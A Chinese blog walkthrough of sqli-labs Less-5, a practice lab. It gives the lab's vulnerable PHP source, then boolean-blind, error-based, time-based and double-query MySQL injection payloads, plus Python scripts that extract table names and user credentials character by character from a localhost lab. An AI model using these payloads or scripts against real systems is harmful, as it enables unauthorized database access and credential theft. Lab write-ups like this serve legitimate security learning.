对于 sqli-labs Less5 的思考

sqli labs 中的第五关,有挺多姿势的

关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['id'])) {
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
} else {
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}

可以知道是一道盲注题(也可以利用报错),因为我们输入正确的回显只有 You are in........... 的回显

布尔盲注

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* 判断注入类型 */
?id=1%27 //-- 报错回显
// -- 单引号闭合

/* 获取列数 */
?id=1%27
1: order by 3 --+ //-- 正确回显
2: order by 4 --+ //-- 报错回显
// -- 得到列数为 3

/* 获取版本 */
?id=1%27
1: and left(version(),1) = 5 --+ //-- 正确回显
// -- 得到版本为 5.x

/* 判断数据库长度 */
?id=1%27
1: and length(database()) > 10 --+ //-- 无回显,说明长度小于等于 10
2: and length(database()) > 5 --+ //-- 正确回显,说明长度大于 5
3: and length(database()) > 7 --+ //-- 正确回显,说明长度大于 7
3: and length(database()) > 8 --+ //-- 无回显,说明长度小于等于 8
// -- 得到数据库长度为 8

/* 判断数据库名称 */
?id=1%27
1: and ascii(substr((select database()),1,1)) > 114 --+ //-- 正确回显,说明字符 ascii 码值大于 114
2: //-- ……略去过程 经过不懈尝试
3: and ascii(substr((select database()),1,1)) > 115 --+ //-- 无回显,说明字符 ascii 码值小于等于 115
// -- 数据库名称第一位为 's'
/* 每次都这样属实难顶,写脚本跑吧 */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# @for: 跑数据库名称
import requests

# 数据库名
database_name = ''
# URL
url = 'http://localhost/sqli-labs/Less-5/?id=1%27 and ascii(substr((select database()),{times},1)) > {num} --+'

for times in range(1, 9):
for num in range(ord('a'), ord('z') + 1):
content = requests.get(url.format(times=times, num=num)).text
if 'You are in' not in content:
database_name += chr(num)
print(database_name)
break

print(database_name)

1
2
3
4
5
6
7
8
9
10
11
# 跑出来的结果
s
se
sec
secu
secur
securi
securit
security
security
# 得到数据库名称 security

1.2

1
2
3
4
/* 判断数据库名称,我们还有 left 这种方法嗷 */
-- suck as:
1: and left(database(),1) > 'a' --+
2: and left(database(),2) > 'a' --+

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* 判断所有表名长度,其间以逗号相连 */
?id=1%27
1: and (select length(group_concat(table_name)) from information_schema.tables where table_schema='security') > 28 --+ //-- 正确回显,说明总长度大于 28
2: //-- ……略去过程 经过不懈尝试
3: and (select length(group_concat(table_name)) from information_schema.tables where table_schema='security') > 29 --+ //-- 无回显,说明总长度小于等于 29
// -- 以逗号相连的所有表的总长度为 29

/* 判断所有表名 */
?id=1%27
1: and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)) > 100 --+ //-- 正确回显,说明字符 ascii 码值大于 100
2: //-- ……略去过程 经过不懈尝试
3: and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)) > 101 --+ //-- 无回显,说明字符 ascii 码值小于 101
// -- 数据库名称第一位为 'e'
/* 更加难顶,还是写脚本跑吧 */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# @for: 跑数据所有表名称
import requests

# 所有表名
all_table_name = ''
# URL
url = 'http://localhost/sqli-labs/Less-5/?id=1%27 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=%27security%27),{times},1)) > {num} --+'
# nums
nums = [n for n in range(ord('a'), ord('z') + 1)]
nums.insert(0, ord(','))

for times in range(1, 30):
for num in nums:
content = requests.get(url.format(times=times, num=num)).text
if 'You are in' not in content:
all_table_name += chr(num)
print(all_table_name)
break

print(all_table_name)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 跑出来的结果
e
em
ema
emai
email
emails
emails,
emails,r
emails,re
emails,ref
emails,refe
emails,refer
emails,refere
emails,referer
emails,referers
emails,referers,
emails,referers,u
emails,referers,ua
emails,referers,uag
emails,referers,uage
emails,referers,uagen
emails,referers,uagent
emails,referers,uagents
emails,referers,uagents,
emails,referers,uagents,u
emails,referers,uagents,us
emails,referers,uagents,use
emails,referers,uagents,user
emails,referers,uagents,users
emails,referers,uagents,users
# 得到所有表名称 emails,referers,uagents,users

3

1
2
3
4
5
6
7
8
/* 判断列长度内容 */
?id=1%27
1: and (select length(group_concat(column_name)) from information_schema.columns where table_name='users') > 62 --+ //-- 正确回显,说明列长度大于 62
2: //-- ……略去过程 经过不懈尝试
3: and (select length(group_concat(column_name)) from information_schema.columns where table_name='users') > 63 --+ //-- 无回显,说明总长度小于等于 63
// -- 以逗号相连的所有列的总长度为 63

/* 然后可以用脚本跑跑 users 这个表玩玩 */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# @for: 跑 users 表中列名
import requests

# 所有表名
all_column_name = ''
# URL
url = 'http://localhost/sqli-labs/Less-5/?id=1%27 and ascii(substr((select group_concat(column_name) from information_schema.columns%20where%20table_name=%27users%27),{times},1)) > {num} --+'
# nums
nums = [n for n in range(ord('a'), ord('z') + 1)]
nums.insert(0, ord(','))

for times in range(1, 64):
for num in nums:
content = requests.get(url.format(times=times, num=num)).text
if 'You are in' not in content:
all_column_name += chr(num)
print(all_column_name)
break

print(all_column_name)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# 跑出来的结果
a
aa
aaa
aaaa
aaaa,
aaaa,a
aaaa,aa
aaaa,aaa
aaaa,aaaa
aaaa,aaaaa
aaaa,aaaaaa
aaaa,aaaaaaa
aaaa,aaaaaaaa
aaaa,aaaaaaaaa
aaaa,aaaaaaaaaa
aaaa,aaaaaaaaaaa
aaaa,aaaaaaaaaaaa
aaaa,aaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,
aaaa,aaaaaaaaaaaaaaaaaaa,a
aaaa,aaaaaaaaaaaaaaaaaaa,aa
aaaa,aaaaaaaaaaaaaaaaaaa,aaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,i
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,u
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,us
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,use
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,user
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,usern
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,userna
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,usernam
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,p
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,pa
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,pas
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,pass
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,passw
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,passwo
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,passwor
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,password
aaaa,aaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaa,id,username,password
# 尼玛还有垃圾字符?
# 得到列名 id,username,password

3.2

1
2
3
4
5
6
/* 或许我们也可以定向一波。利用 regexp 来获取列 */
-- such as:
/* 选择 users 表中列名,看是不是有 us*** 的列 */
1: and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+ //-- 正确回显,说明有,可以继续深入定向
2: and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) --+ //-- 正确回显,说明存在 username
/* 可以依次继续推断存在 password */

4

1
2
3
4
5
6
7
8
/* 判断 username 与 password 字段总长度内容 */
?id=1%27
1: and (select length(group_concat(username,password)) from users) > 174 --+ //-- 正确回显,说明字段总长度大于 174
2: //-- ……略去过程 经过不懈尝试
3: and (select length(group_concat(username,password)) from users) > 175 --+ //-- 无回显,说明字段总长度小于等于 175
// -- 以逗号相连的所字段的总长度为 175

/* 然后可以用脚本跑 */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# @for: 跑 username 和 password 列中字段名
import requests

# 所有表名
all_table_name = ''
# URL
url = 'http://localhost/sqli-labs/Less-5/?id=1%27 and ascii(substr((select group_concat(username,0x2d,0x3e,password) from users),{times},1)) > {num} --+'
# nums
nums = [n for n in range(ord(' '), ord('z') + 1)]

for times in range(1, 176):
for num in nums:
content = requests.get(url.format(times=times, num=num)).text
if 'You are in' not in content:
all_table_name += chr(num)
print(all_table_name)
break

print(all_table_name)

1
2
# 由于有尼玛一百多行就只贴最终结果吧
Dumb->Dumb,Angelina->I-kill-you,Dummy->p@ssword,secure->crappy,stupid->stupidity,superman->genious,batman->mob!le,admin->admin,admin1->admin1,admin2->admin2,admin3->admin3,dhakkan->dumbo,admin4->admin4

4.2

1
2
3
4
/* 我们也可以利用 ord 和 mid 来获取 users 表中的内容 */
-- such as:
1: and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+
//-- 然后造轮子就可了,整个脚本直接怼上去就好辽

尼玛的,就这

报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* 报错莽一波 */
/* 1st */
/* concat + rand() + group_by()导致主键重复 */
-- such as:
1: union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

/* 2nd */
/* 利用 double 数据类型溢出 */
-- such as:
1: union select (exp(~(select * from (select database())a))),2,3 --+ //-- 遗憾未测试成功

/* 3rd */
/* 利用 bigint 进行报错注入 */
-- such as:
1: union select (!(select * from (select database())x) - ~0),2,3 --+ //-- 遗憾也未测试成功

/* 4th */
/* xpath 函数报错注入 */
-- such as:
1: and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
2: and updatexml(1,concat(0x7e,(select @@version),0x7e)) --+ // -- Incorrect parameter count in the call to native function 'updatexml' (显然没有成功)

/* 5th */
/* 利用数据的重复性 */
-- such as:
1: union select 1,2,3 from (select name const(version(),1),name const(version(),1))x --+ //-- 同样测试失败

就这?就这?

延时注入

1
2
3
4
5
6
7
8
9
10
/* 延时快乐一下 */
/* 1st */
/* 利用 sleep 函数进行延时注入 */
-- such as:
1: and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+ //-- 错误的时候会延时 5 秒(可以把人都等死)

/* 2nd */
/* 利用 benchmark 函数进行延时注入 */
-- such as:
1: union select (if(substring(current,1,1)=char(115),benchmark(25000000,encode('msg','by 5 seconds')),null)),2,3 from (select database() as current) as tb1 --+ //-- 正确的时候会运行 encode() 25000000 次,会占用时间导致延时

就这,就这

双注入

1
2
/* 双注入,听起来就挺装逼叭 */
1: union select count(*),1,concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a --+

From:堆堆
记得注明出处嗷


评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×